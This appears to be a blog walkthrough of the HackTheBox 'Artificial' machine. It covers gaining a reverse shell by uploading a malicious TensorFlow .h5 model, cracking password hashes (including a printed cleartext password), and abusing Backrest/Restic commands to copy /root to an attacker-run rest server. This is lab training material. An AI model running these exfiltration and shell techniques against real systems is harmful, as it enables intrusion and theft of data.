Artificial Writeup (HackTheBox Easy Machine)
Overview
Artificial is an easy Linux machine from HackTheBox. As the name implies, this box offers us an opportunity to hack AI models and much more.
Firstly, we discover a website where we can upload our AI models. We craft a malicious Python AI model with injected shell code, upload it and get a reverse shell on the machine.
During priv esc, we find credentials in old backup file for internal Backrest backup service. Abusing Restic’s restore function, we can backup arbitrary files to our local machine and get the root flag.
Nmap scan
Starting with the Nmap scan.
┌──(root㉿kali)-[/home/kali]
└─# nmap -A 10.10.11.74 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 20:35 CEST
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
OS fingerprint not ideal because: Timing level 5 (Insane) used
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 31.77 ms 10.10.14.1
2 31.94 ms artificial.htb (10.10.11.74)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.46 secondsThe Nmap scan showed 2 open ports. Port 22 for SSH and port 80 for Nginx web server. Don’t forget to add the “artificial.htb” domain to your “/etc/hosts” file.
Web enumeration
I visited the website which allowed you to build and deploy your own AI model. It also contained example Python code with imported Numpy, Pandas and Tensorflow ML libraries.

I ran Gobuster to perform directory enumeration. All I could access was a login and register page.
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u "http://artificial.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://artificial.htb
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/register (Status: 200) [Size: 952]
/login (Status: 200) [Size: 857]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 199] [--> /login]
![]() |
| dashboard where you can upload your AI models |
┌──(root㉿kali)-[/home/kali]
└─# cat requirements.txt
tensorflow-cpu==2.13.1
┌──(root㉿kali)-[/home/kali]
└─# cat Dockerfile
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]There was file upload functionality as well. It only allowed me to upload “.h5” files.
“.h5” files are a file format used to store and manage large datasets and complex data structures, commonly associated with AI models. (Grok)
![]() |
| only “.h5” files are allowed |
Uploading malicious AI model & getting shell
Back on the main page, there was an example Python code I could use. It creates, trains, and saves a neural network model using TensorFlow and Keras libraries to predict profits based on hourly data, then saves the model to “profits_model.h5”.

To me, it seemed that we have to inject malicious shell-spawning code into the final “.h5” file, upload it and run it on the web server. So it’s time to train our own AI model!
Since this was the first time I encountered Tensorflow neural network hacking, I had to do my own research on this topic first. When I searched for “Tensorflow RCE”, I found this article (https://mastersplinter.work/research/tensorflow-rce/) which described how to get code execution when Tensorflow models are loaded by abusing Lambda Layers from Keras library.

We can inject arbitrary code into the model via the Lambda layer, which allows to wrap Python expressions as Layer object, which can then interact with the rest of the model.
Also, I found this Github repo with helpful scripts: https://github.com/Splinter0/tensorflow-rce.

I downloaded the “exploit.py” from the repository and modified the payload to match my IP.
![]() |
| exploit.py |
Next, we need to build our Docker environment where we will create our exploit (otherwise the exploit won’t work). Go to the directory where you have the “Dockerfile” and “requirements” files.
Then run the Docker build command. You have to wait for all the dependencies to install.
┌──(kali㉿kali)-[~]
└─$ sudo docker build -t artificial .Then run this command. This gives you access to the files on your host machine.
┌──(kali㉿kali)-[~]
└─$ sudo docker run -it -v $(pwd):/artificial artificialAfter that, change directory to “/artificial” and run the “exploit.py”. This generates our malicious “exploit.h5” file which we can upload the web server and get a shell.
root@e3d0dddd7037:/code# cd /artificial
root@e3d0dddd7037:/artificial# python3 exploit.py
2025-08-26 12:14:55.375494: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: nc: not found
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.Set up your Netcat listener and upload the file. We can run it by clicking “View Predictions” button.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.74] 56208
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)Discovering SQLite database, cracking password for user “gael” & getting user flag
I got the shell as “app” user inside some “/app” directory. I quickly looked around a bit and found “users.db” database file inside the “instances” directory.
app@artificial:~/app$ ls -la
total 36
drwxrwxr-x 7 app app 4096 Jun 9 13:56 .
drwxr-x--- 7 app app 4096 Aug 26 09:50 ..
-rw-rw-r-- 1 app app 7846 Jun 9 13:54 app.py
drwxr-xr-x 2 app app 4096 Aug 26 09:59 instance
drwxrwxr-x 2 app app 4096 Aug 26 09:30 models
drwxr-xr-x 2 app app 4096 Jun 9 13:55 __pycache__
drwxrwxr-x 4 app app 4096 Jun 9 13:57 static
drwxrwxr-x 2 app app 4096 Jun 18 13:21 templates
app@artificial:~/app$ cd instance/
app@artificial:~/app/instance$ ls -la
total 32
drwxr-xr-x 2 app app 4096 Aug 26 09:59 .
drwxrwxr-x 7 app app 4096 Jun 9 13:56 ..
-rw-r--r-- 1 app app 24576 Aug 26 09:59 users.dbSo I started a Python server and transferred the database file to my machine.
app@artificial:~/app/instance$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.14.150 - - [26/Aug/2025 10:06:45] "GET /users.db HTTP/1.1" 200 -Then, I opened the database with SQLite and found the password hash for “gael”.

We can now crack the hash easily using the “rockyou” wordlist. Or we can use CrackStation like I did.

Bingo, we have the password! Now we can SSH into the machine and get the user flag.
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
gael@artificial:~$ ls -la
total 32
drwxr-x--- 4 gael gael 4096 Jun 9 08:53 .
drwxr-xr-x 4 root root 4096 Jun 18 13:19 ..
lrwxrwxrwx 1 root root 9 Oct 19 2024 .bash_history -> /dev/null
-rw-r--r-- 1 gael gael 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 gael gael 3771 Feb 25 2020 .bashrc
drwx------ 2 gael gael 4096 Sep 7 2024 .cache
-rw-r--r-- 1 gael gael 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Oct 19 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Oct 19 2024 .sqlite_history -> /dev/null
drwx------ 2 gael gael 4096 Sep 7 2024 .ssh
-rw-r----- 1 root gael 33 Aug 26 08:42 user.txtDiscovering Backrest internal service & credentials in backup file
At first, I went through the usual privilege escalation checklist (sudo permissions, SUID binaries, capabilities etc.), but nothing yielded any results. Then, I checked what internal services are running with “netstat” and found 2 services on ports 5000 and 9898.
gael@artificial:~$ netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9898 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN - So I used SSH to forward those ports to my machine like so:
┌──(root㉿kali)-[/home/kali]
└─# ssh gael@artificial.htb -L 5000:localhost:5000 -L 9898:localhost:9898Port 5000 showed already known AI web app. But port 9898 was hosting interesting service called Backrest (version 1.7.2). Unfortunately, I got hit with a login panel at my initial visit and the known password didn’t work here.

I did some research and found Backrest Github repository (https://github.com/garethgeorge/backrest). It presented itself as web-accessible backup solution.

I used “find” command to find files that are related to Backrest. The “/opt” and “/var/backups” directories both contained several files, but “backrest_backup.tar.gz” was the most useful.
![]() |
| Backrest backup file found |
I spawned a Python server and downloaded the backup file.

It came out that the file was just Tar archive, not Gzip archive (unzip it with “xvf” flags, no “zxvf”).
┌──(root㉿kali)-[/home/kali]
└─# file backrest_backup.tar.gz
backrest_backup.tar.gz: POSIX tar archive (GNU)
┌──(root㉿kali)-[/home/kali]
└─# tar xzvf backrest_backup.tar.gz
gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now
┌──(root㉿kali)-[/home/kali]
└─# tar xvf backrest_backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.shInside the backup, I found “config.json” file, which contained Bcrypt password hash for the web UI.
![]() |
| found Bcrypt hash in “config.json” |
The string didn’t resolve a Bcrypt hash at all, because it’s base64 encrypted. So decrypt it first.
┌──(root㉿kali)-[/home/kali]
└─# echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QOI used John the Ripper for cracking and got the cleartext password.
┌──(root㉿kali)-[/home/kali]
└─# john hash --wordlist=Downloads/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^ (?)
1g 0:00:00:16 DONE (2025-08-26 21:29) 0.05941g/s 320.8p/s 320.8c/s 320.8C/s b123456..hayden1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. Abusing Restic restore functionality to backup the “/root” directory & getting root flag
After that, I was finally able to login to the Backrest web app with the newly acquired credentials.

Here I initially created a repo and a plan to backup the “/root” directory. This approach doesn’t work for us, though. When the backup is performed, the backup files are still owned by “root” (so we cannot access them at all).
Googling showed that Backrest is actually deeply associated with Restic software.
Restic is an open-source backup program designed for fast, secure, and efficient data backups. (Grok)
Backrest is a web-based user interface and orchestrator built on top of Restic, designed to simplify and enhance its usability. (Grok)
The plan is to abuse the restore functionality of Restic and to backup the “/root” directory to attacker-controlled server. We will need a rest server, which we can find on Github: https://github.com/restic/rest-server. After building it, we can run this command to start it (it’s listening on port 4444 in this example):
┌──(kali㉿kali)-[~/rest-server]
└─$ ./rest-server --path /tmp/restic-data --listen :4444 --no-authBack in Backrest, we have to set up our repository with URI set to “/opt/backrest” where it is present on the target machine.

Next, we can run commands on our repository.

According to Restic docs, we have to initialize our repository first and then we can backup the files that we want. In my case, I ran these commands:
-r rest:http://10.10.14.150:4444/repo_nooff init
-r rest:http://10.10.14.150:4444/repo_nooff backup /rootBack on our machine, we can list the snapshots (backup files). Then, we can restore the files.
┌──(kali㉿kali)-[~/rest-server]
└─$ restic -r /tmp/restic-data/repo_nooff snapshots
enter password for repository:
repository 4edcbb6f opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
ID Time Host Tags Paths Size
-----------------------------------------------------------------------
4f086b9b 2025-08-26 19:45:32 artificial /root 4.299 MiB
-----------------------------------------------------------------------
1 snapshots
┌──(kali㉿kali)-[~/rest-server]
└─$ restic -r /tmp/restic-data/repo_nooff restore 4f086b9b --target ./backup
enter password for repository:
repository 4edcbb6f opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
restoring snapshot 4f086b9b of [/root] at 2025-08-26 17:45:32.227188775 +0000 UTC by root@artificial to ./backup
Summary: Restored 80 files/dirs (4.299 MiB) in 0:00Now, we can easily access the “/root” directory.
┌──(kali㉿kali)-[~/rest-server]
└─$ cd backup/root
┌──(kali㉿kali)-[~/rest-server/backup/root]
└─$ ls -la
total 36
drwx------ 6 kali kali 4096 Aug 26 10:42 .
drwx------ 3 kali kali 4096 Aug 26 22:20 ..
lrwxrwxrwx 1 kali kali 9 Jun 9 11:37 .bash_history -> /dev/null
-rw-r--r-- 1 kali kali 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 kali kali 4096 Mar 3 22:52 .cache
drwxr-xr-x 3 kali kali 4096 Oct 19 2024 .local
-rw-r--r-- 1 kali kali 161 Dec 5 2019 .profile
lrwxrwxrwx 1 kali kali 9 Oct 19 2024 .python_history -> /dev/null
-rw-r----- 1 kali kali 33 Aug 26 10:42 root.txt
drwxr-xr-x 2 kali kali 4096 Jun 9 15:57 scripts
drwx------ 2 kali kali 4096 Mar 4 23:40 .sshThere is the root flag. And that’s the Artificial machine done!
Summary & final thoughts
Artificial is an easy machine from HackTheBox. This box demonstrates (mainly in the first part) the dangers of code injection vulnerabilities in popular Tensorflow AI models and how they can be exploited. After the initial foothold, we do some basic CTF stuff like cracking a password from SQLite database and get another password hash from an old backup file. Eventually, we encounter an internal service called Backrest, which runs on top of Restic backup software, which we abuse to backup arbitrary files to our local machine.
I liked this machine a lot. It has a good pace and fairly straightforward attack vectors (although the final priv esc was a little rough). Hacking AI models is cool, the rest was nothing very special. I would recommend this machine to any beginner, because there’s a lot of googling and researching to be done during completion. Discovering stuff and learning as you go is a very important skill to have, especially on machines like this. Let me know what do you think about Artificial.





Comments
Post a Comment